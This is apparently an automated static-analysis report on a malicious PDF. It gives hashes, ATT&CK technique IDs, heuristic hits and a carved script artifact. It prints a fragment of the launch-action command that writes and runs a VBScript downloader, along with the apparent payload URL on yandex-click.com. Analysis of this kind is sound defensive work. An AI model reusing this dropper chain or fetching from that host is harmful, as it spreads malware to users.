Malicious PDF — malware analysis report

Static analysis result for SHA-256 ae5fb584a772a78c…

MALICIOUS

PDF

805 B
MD5: cd0a839f260f627f0ab64425c766a7dc SHA-1: bab5dbfbb2838b7f3ff56bc2caeb734c7a597f65 SHA-256: ae5fb584a772a78cdce34926044c6480bcbf24149d1103d3aefe3f4af38a7ffb
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.003 Windows Command Shell T1204.002 Malicious File T1059.005 Visual Basic

The PDF file contains a launch action that executes cmd.exe. This command writes a VBScript payload to disk and then executes it. The VBScript payload is constructed by concatenating string literals, ultimately forming a URL to download and execute a second-stage payload. The reconstructed command line is: cmd /c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM" "Scripting.FileSystemObject" A.GetSpecialFolder(2 "WScript.Shell" 2. The embedded URL is http://yandex-click.com/tmp3/tmp/m.vbs.

Heuristics 4

  • Launch action high PDF_LAUNCH
    PDF contains a /Launch action with an unresolved or extension-less target — treat as potentially dangerous
  • Embedded script payload in PDF stream high PDF_EMBEDDED_SCRIPT_PAYLOAD
    PDF stream bytes contain script execution markers such as ActiveXObject/CreateObject, WScript.Shell, PowerShell, or shell-exec primitives. This is stronger than ordinary PDF JavaScript because it indicates a staged external script payload hidden in stream bytes.
  • /Launch action target: cmd high PDF_LAUNCH_COMMAND
    PDF /Launch action specifies an executable target with parameters '/c echo B="m.vbs":With CreateObject(StrReverse("PTTHLMX.2LMXSM"'.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://yandex-click.com/tmp3/tmp/m.vbs

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
embedded_pdf_script_0000006f.bin
ad55c8e83a5896a04b2012c676820daeab2b84cc539e444c6366e79f55a571c5		 pdf-embedded-script PDF decompressed stream script payload at offset 0x6F 63 bytes

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